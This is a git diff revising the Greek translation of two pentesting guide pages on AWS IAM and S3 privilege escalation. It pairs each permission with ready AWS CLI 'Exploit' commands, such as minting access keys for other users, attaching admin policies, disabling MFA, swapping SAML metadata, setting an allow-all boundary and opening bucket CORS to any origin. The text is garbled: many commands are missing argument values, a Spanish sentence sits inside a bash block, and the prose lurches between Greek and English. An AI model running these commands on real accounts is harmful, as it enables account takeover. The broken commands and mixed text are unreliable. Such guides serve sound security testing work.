{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index 311a1fd7a..744c3f15d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -4,7 +4,7 @@
## IAM
-Για περισσότερες πληροφορίες σχετικά με το IAM, δείτε:
+Για περισσότερες πληροφορίες σχετικά με το IAM δείτε:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,9 +12,9 @@
### **`iam:CreatePolicyVersion`**
-Παρέχει τη δυνατότητα δημιουργίας νέας έκδοσης policy του IAM, παρακάμπτοντας την ανάγκη για την άδεια `iam:SetDefaultPolicyVersion` με τη χρήση της επιλογής `--set-as-default`. Αυτό επιτρέπει τον ορισμό προσαρμοσμένων δικαιωμάτων.
+Παρέχει τη δυνατότητα δημιουργίας νέας έκδοσης policy του IAM, παρακάμπτοντας την ανάγκη για το δικαίωμα `iam:SetDefaultPolicyVersion` με τη χρήση της σημαίας `--set-as-default`. Αυτό επιτρέπει τον ορισμό προσαρμοσμένων δικαιωμάτων.
-**Εντολή Εκμετάλλευσης:**
+**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
@@ -23,27 +23,27 @@ aws iam create-policy-version --policy-arn \
### **`iam:SetDefaultPolicyVersion`**
-Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας IAM policy σε άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα προνόμια εάν η νέα έκδοση έχει περισσότερα δικαιώματα.
+Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας IAM policy σε άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα προνόμια αν η νέα έκδοση έχει περισσότερα δικαιώματα.
**Εντολή Bash:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Επίδραση:** Έμμεση κλιμάκωση προνομίων μέσω παροχής επιπλέον δικαιωμάτων.
+**Επίπτωση:** Έμμεση privilege escalation επιτρέποντας περισσότερα δικαιώματα.
### **`iam:CreateAccessKey`**
-Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, οδηγώντας σε πιθανή κλιμάκωση προνομίων.
+Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, οδηγώντας σε πιθανή privilege escalation.
-**Εκμετάλλευση:**
+**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**Επίπτωση:** Άμεση κλιμάκωση προνομίων μέσω ανάληψης των εκτεταμένων δικαιωμάτων άλλου χρήστη.
+**Επίπτωση:** Άμεσο privilege escalation με την ανάληψη των εκτεταμένων δικαιωμάτων ενός άλλου χρήστη.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Επιτρέπει τη δημιουργία ή ενημέρωση ενός προφίλ σύνδεσης, συμπεριλαμβανομένης της ρύθμισης κωδικών για σύνδεση στην κονσόλα AWS, οδηγώντας σε άμεση κλιμάκωση προνομίων.
+Επιτρέπει τη δημιουργία ή ενημέρωση ενός login profile, συμπεριλαμβανομένης της ρύθμισης κωδικών για σύνδεση στο AWS console, οδηγώντας σε άμεσο privilege escalation.
**Exploit for Creation:**
```bash
@@ -55,51 +55,51 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Επίπτωση:** Άμεση privilege escalation μέσω σύνδεσης ως "any" user.
+**Impact:** Άμεση κλιμάκωση προνομίων με σύνδεση ως "any" χρήστης.
### **`iam:UpdateAccessKey`**
-Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου access key, που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση εάν ο attacker έχει στην κατοχή του το απενεργοποιημένο access key.
+Επιτρέπει την επανενεργοποίηση ενός απενεργοποιημένου κλειδιού πρόσβασης, κάτι που ενδέχεται να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση εάν ο attacker κατέχει το απενεργοποιημένο κλειδί.
**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Επίδραση:** Άμεση κλιμάκωση προνομίων με την επανενεργοποίηση access keys.
+**Επίπτωση:** Άμεση κλιμάκωση προνομίων μέσω επανενεργοποίησης των access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-Επιτρέπει τη δημιουργία ή επαναφορά διαπιστευτηρίων για συγκεκριμένες υπηρεσίες AWS (π.χ., CodeCommit, Amazon Keyspaces), κληρονομώντας τα δικαιώματα του σχετιζόμενου χρήστη.
+Επιτρέπει τη δημιουργία ή την επαναφορά των credentials για συγκεκριμένες AWS υπηρεσίες (π.χ., CodeCommit, Amazon Keyspaces), κληρονομώντας τα permissions του συσχετισμένου χρήστη.
**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
-**Εκμετάλλευση για Επαναφορά:**
+**Exploit για Reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Επίπτωση:** Άμεση κλιμάκωση προνομίων εντός των δικαιωμάτων του χρήστη στην υπηρεσία.
+**Επίπτωση:** Άμεση κλιμάκωση προνομίων εντός των δικαιωμάτων υπηρεσίας του χρήστη.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Επιτρέπει την επισύναψη policies σε χρήστες ή ομάδες, κλιμακώνοντας άμεσα τα προνόμια μέσω της κληρονομίας των δικαιωμάτων της επισυναπτόμενης policy.
+Επιτρέπει την επισύναψη policies σε χρήστες ή ομάδες, κλιμακώνοντας άμεσα τα προνόμια μέσω κληρονόμησης των δικαιωμάτων της επισυναπτόμενης policy.
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Exploit για Ομάδα:**
+**Exploit για Group:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Επίπτωση:** Άμεση κλιμάκωση προνομίων σε οτιδήποτε επιτρέπει η πολιτική.
+**Επίπτωση:** Άμεση κλιμάκωση προνομίων σε οτιδήποτε χορηγεί η πολιτική.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-Επιτρέπει την επισύναψη ή την τοποθέτηση πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας άμεση κλιμάκωση προνομίων με τη χορήγηση επιπλέον δικαιωμάτων.
+Επιτρέπει την επισύναψη ή την προσθήκη πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας άμεση κλιμάκωση προνομίων μέσω χορήγησης επιπλέον δικαιωμάτων.
-**Εκμετάλλευση για ρόλο:**
+**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
@@ -127,13 +127,13 @@ aws iam put-role-policy --role-name --policy-name "" \
]
}
```
-**Επίπτωση:** Άμεση κλιμάκωση προνομίων με την προσθήκη δικαιωμάτων μέσω πολιτικών.
+**Επίπτωση:** Άμεση ανύψωση προνομίων με την προσθήκη δικαιωμάτων μέσω πολιτικών.
### **`iam:AddUserToGroup`**
-Επιτρέπει να προσθέσει τον εαυτό του σε μια ομάδα IAM, κλιμακώνοντας τα προνόμια μέσω της κληρονομίας των δικαιωμάτων της ομάδας.
+Επιτρέπει την προσθήκη του εαυτού σε μια ομάδα IAM, κλιμακώνοντας τα προνόμια μέσω κληρονόμησης των δικαιωμάτων της ομάδας.
-**Εκμετάλλευση:**
+**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
@@ -141,14 +141,14 @@ aws iam add-user-to-group --group-name --user-name
### **`iam:UpdateAssumeRolePolicy`**
-Επιτρέπει την τροποποίηση του assume role policy document ενός role, επιτρέποντας την ανάληψη του role και των αντίστοιχων δικαιωμάτων του.
+Επιτρέπει την τροποποίηση του assume role policy document ενός role, επιτρέποντας την ανάληψη του role και των συνδεδεμένων δικαιωμάτων του.
-**Exploit:**
+**Εκμετάλλευση:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Όταν η πολιτική έχει την εξής μορφή, η οποία δίνει στον χρήστη την άδεια να αναλάβει τον ρόλο:
+Όταν η πολιτική έχει την παρακάτω μορφή, που δίνει στον χρήστη την άδεια να αναλάβει τον ρόλο:
```json
{
"Version": "2012-10-17",
@@ -163,38 +163,38 @@ aws iam update-assume-role-policy --role-name \
]
}
```
-**Impact:** Άμεση κλιμάκωση προνομίων με την ανάληψη των δικαιωμάτων οποιουδήποτε ρόλου.
+**Impact:** Άμεση privilege escalation με την ανάληψη των δικαιωμάτων οποιουδήποτε role.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-Επιτρέπει την αποστολή δημόσιου κλειδιού SSH για αυθεντικοποίηση στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση κλιμάκωση προνομίων.
+Επιτρέπει το ανέβασμα δημόσιου κλειδιού SSH για πιστοποίηση στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση privilege escalation.
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
-**Exploit για την απενεργοποίηση του MFA:**
+**Exploit για απενεργοποίηση MFA:**
```bash
aws iam deactivate-mfa-device --user-name --serial-number
```
-**Impact:** Έμμεση κλιμάκωση προνομίων με την ενεργοποίηση πρόσβασης σε CodeCommit ή την απενεργοποίηση της προστασίας MFA.
+**Επίπτωση:** Έμμεση κλιμάκωση προνομίων μέσω ενεργοποίησης πρόσβασης στο CodeCommit ή απενεργοποίησης της προστασίας MFA.
### **`iam:ResyncMFADevice`**
Επιτρέπει τον επανασυγχρονισμό μιας συσκευής MFA, ενδεχομένως οδηγώντας σε έμμεση κλιμάκωση προνομίων μέσω χειρισμού της προστασίας MFA.
-**Εντολή Bash:**
+**Bash Command:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Επίπτωση:** Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό συσκευών MFA.
+**Impact:** Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό συσκευών MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Με αυτά τα δικαιώματα μπορείτε να **αλλάξετε τα XML μεταδεδομένα της SAML σύνδεσης**. Στη συνέχεια, μπορείτε να καταχραστείτε τη **SAML federation** για να **login** με οποιοδήποτε **role που την εμπιστεύεται**.
+Με αυτά τα δικαιώματα μπορείτε να **αλλάξετε τα XML μεταδεδομένα της SAML σύνδεσης**. Στη συνέχεια, μπορείτε να καταχραστείτε την **SAML federation** για να **login** με οποιοδήποτε **role που την εμπιστεύεται**.
-Σημειώστε ότι κάνοντας αυτό **legit users won't be able to login**. Ωστόσο, μπορείτε να αποκτήσετε το XML, να το αντικαταστήσετε με το δικό σας, να κάνετε login και να επαναφέρετε τα προηγούμενα.
+Note ότι κάνοντας αυτό **legit users won't be able to login**. Ωστόσο, μπορείτε να αποκτήσετε το XML, οπότε μπορείτε να τοποθετήσετε το δικό σας, να login και να επαναφέρετε την προηγούμενη ρύθμιση.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Ένα εργαλείο ικανό να δημιουργεί το SAML metadata και να κάνει login με ένα συγκεκριμένο role
+> TODO: Ένα Tool ικανό να δημιουργήσει το SAML metadata και να κάνει login με ένα συγκεκριμένο role
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Δεν είμαι σίγουρος για αυτό) Εάν ένας επιτιθέμενος έχει αυτές τις **permissions**, μπορεί να προσθέσει ένα νέο **Thumbprint** και να καταφέρει να κάνει login σε όλους τους roles που εμπιστεύονται τον provider.
+(Δεν είμαι σίγουρος γι' αυτό) Αν ένας attacker έχει αυτές τις **permissions** θα μπορούσε να προσθέσει ένα νέο **Thumbprint** και να καταφέρει να κάνει login σε όλους τους **roles** που εμπιστεύονται τον **provider**.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-Αυτό το permissions επιτρέπει σε έναν attacker να ενημερώσει το permissions boundary ενός user, ενδεχομένως escalating τα privileges του, επιτρέποντάς του να πραγματοποιήσει actions που κανονικά περιορίζονται από τα existing permissions του.
+Αυτή η άδεια επιτρέπει σε έναν επιτιθέμενο να ενημερώσει το permissions boundary ενός χρήστη, ενδεχομένως να αυξήσει τα προνόμιά του, επιτρέποντάς του να εκτελέσει ενέργειες που κανονικά περιορίζονται από τα υπάρχοντα δικαιώματά του.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+Ένας χρήστης με iam:PutRolePermissionsBoundary μπορεί να ορίσει ένα permissions boundary σε έναν υπάρχον role. Ο κίνδυνος προκύπτει όταν κάποιος με αυτή την άδεια αλλάξει το boundary ενός role: μπορεί να περιορίσει ακατάλληλα τις λειτουργίες (προκαλώντας διακοπή υπηρεσίας) ή, αν επισυνάψει ένα permissive boundary, ουσιαστικά να επεκτείνει τι μπορεί να κάνει το role και να κλιμακώσει τα προνόμια.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
## Αναφορές
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index bbbc13d34..8bb6dc23f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-Ένας attacker με αυτές τις permissions πάνω σε ενδιαφέροντα buckets μπορεί να hijack resources και να escalate privileges.
+Ένας attacker με αυτά τα permissions πάνω σε ενδιαφέροντα buckets μπορεί να μπορέσει να hijack resources και να escalate privileges.
-Για παράδειγμα, ένας attacker με αυτές τις **permissions over a cloudformation bucket** που ονομάζεται "cf-templates-nohnwfax6a6i-us-east-1" θα μπορεί να hijack το deployment. Η πρόσβαση μπορεί να δοθεί με την ακόλουθη policy:
+Για παράδειγμα, ένας attacker με αυτά τα **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" θα μπορεί να hijack το deployment. Η access μπορεί να δοθεί με την ακόλουθη policy:
```json
{
"Version": "2012-10-17",
@@ -34,27 +34,27 @@
]
}
```
-And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
+Και το hijack είναι δυνατό επειδή υπάρχει ένα **μικρό χρονικό παράθυρο από τη στιγμή που το template ανεβαίνει** στο bucket μέχρι τη στιγμή που το **template αναπτύσσεται**. Ένας attacker μπορεί απλά να δημιουργήσει μια **lambda function** στο account του που θα **trigger όταν σταλεί ένα bucket notification**, και να hijacks το **content** αυτού του **bucket**.
.png>)
-The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
+Το Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) μπορεί να χρησιμοποιηθεί για την αυτοματοποίηση αυτής της επίθεσης.\
Για περισσότερες πληροφορίες δείτε την αρχική έρευνα: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-Αυτά είναι τα δικαιώματα για να **λαμβάνετε και να ανεβάζετε αντικείμενα στο S3**. Πολλές υπηρεσίες μέσα στο AWS (και έξω από αυτό) χρησιμοποιούν αποθήκευση S3 για να αποθηκεύουν **config files**.\
-Ένας επιτιθέμενος με **δικαίωμα ανάγνωσης** σε αυτά μπορεί να βρει **ευαίσθητες πληροφορίες**.\
-Ένας επιτιθέμενος με **δικαίωμα εγγραφής** σε αυτά θα μπορούσε να **τροποποιήσει τα δεδομένα για να καταχραστεί κάποια υπηρεσία και να προσπαθήσει να αποκτήσει αυξημένα προνόμια**.\
+These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\
+Ένας attacker με **read access** σε αυτά μπορεί να ανακαλύψει **sensitive information** μέσα σε αυτά.\
+Ένας attacker με **write access** σε αυτά θα μπορούσε να **modify the data to abuse some service and try to escalate privileges**.\
Αυτά είναι μερικά παραδείγματα:
- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-Είναι πολύ συνηθισμένο τα state files του [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) να αποθηκεύονται σε blob storage των παρόχων cloud, π.χ. στο AWS S3. Η κατάληξη αρχείου για state file είναι `.tfstate`, και τα ονόματα των buckets συχνά αποκαλύπτουν ότι περιέχουν αρχεία state του terraform. Συνήθως, κάθε λογαριασμός AWS έχει ένα τέτοιο bucket για να αποθηκεύει τα state files που δείχνουν την κατάσταση του λογαριασμού. Επίσης συνήθως, σε πραγματικούς λογαριασμούς σχεδόν πάντα όλοι οι developers έχουν `s3:*` και μερικές φορές ακόμα και επιχειρηματικοί χρήστες έχουν `s3:Put*`.
+It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account. Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`.
-Έτσι, αν έχετε τα δικαιώματα που αναφέρονται πάνω σε αυτά τα αρχεία, υπάρχει ένα διάνυσμα επίθεσης που σας επιτρέπει να αποκτήσετε RCE στο pipeline με τα προνόμια του `terraform` - τις περισσότερες φορές `AdministratorAccess`, κάνοντάς σας τον διαχειριστή του cloud λογαριασμού. Επίσης, μπορείτε να χρησιμοποιήσετε αυτό το διάνυσμα για να πραγματοποιήσετε επίθεση άρνησης υπηρεσίας κάνοντας το `terraform` να διαγράψει νόμιμους πόρους.
+So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources.
Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
@@ -64,7 +64,7 @@ Follow the description in the *Abusing Terraform State Files* section of the *Te
### `s3:PutBucketPolicy`
-Ένας επιτιθέμενος, ο οποίος πρέπει να είναι **από τον ίδιο λογαριασμό**, αλλιώς θα εμφανιστεί το σφάλμα `The specified method is not allowed will trigger`, με αυτό το δικαίωμα θα μπορεί να παραχωρήσει στον εαυτό του περισσότερα δικαιώματα πάνω στο/στα bucket(s) επιτρέποντάς του να διαβάζει, να γράφει, να τροποποιεί, να διαγράφει και να εκθέτει buckets.
+Ένας attacker, που πρέπει να είναι **from the same account** — αλλιώς θα προκληθεί το σφάλμα `The specified method is not allowed` — με αυτή την permission θα μπορεί να παραχωρήσει στον εαυτό του περισσότερα permissions πάνω στα bucket(s), επιτρέποντάς του να διαβάζει, γράφει, τροποποιεί, διαγράφει και να εκθέτει buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -122,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -150,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτά τα δικαιώματα για να αποκτήσει περισσότερη πρόσβαση σε συγκεκριμένα objects μέσα σε buckets.
+Ένας attacker θα μπορούσε να καταχραστεί αυτά τα δικαιώματα ώστε να αποκτήσει περισσότερη πρόσβαση σε συγκεκριμένα objects μέσα σε buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -177,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-Ένας επιτιθέμενος με αυτά τα προνόμια αναμένεται να μπορεί να εφαρμόσει ένα Acl σε μια συγκεκριμένη object version
+Ένας attacker με αυτά τα privileges αναμένεται να μπορεί να προσαρτήσει ένα Acl σε μία συγκεκριμένη έκδοση αντικειμένου
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+Ένας επιτιθέμενος με την άδεια s3:PutBucketCORS μπορεί να τροποποιήσει τη ρύθμιση CORS (Cross-Origin Resource Sharing) ενός bucket, η οποία ελέγχει ποιες web domains μπορούν να προσπελάσουν τα endpoints του. Εάν ορίσει μια επιτρεπτική πολιτική, οποιοσδήποτε ιστότοπος θα μπορούσε να στέλνει άμεσες αιτήσεις στο bucket και να διαβάζει τις αποκρίσεις μέσω browser.
+
+Αυτό σημαίνει ότι, ενδεχομένως, αν ένας αυθεντικοποιημένος χρήστης μιας web εφαρμογής που φιλοξενείται στο bucket επισκεφθεί τον ιστότοπο του επιτιθέμενου, ο επιτιθέμενος θα μπορούσε να εκμεταλλευτεί την επιτρεπτική πολιτική CORS και, ανάλογα με την εφαρμογή, να αποκτήσει πρόσβαση στα δεδομένα προφίλ του χρήστη ή ακόμη και να υποκλέψει τον λογαριασμό του χρήστη.
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}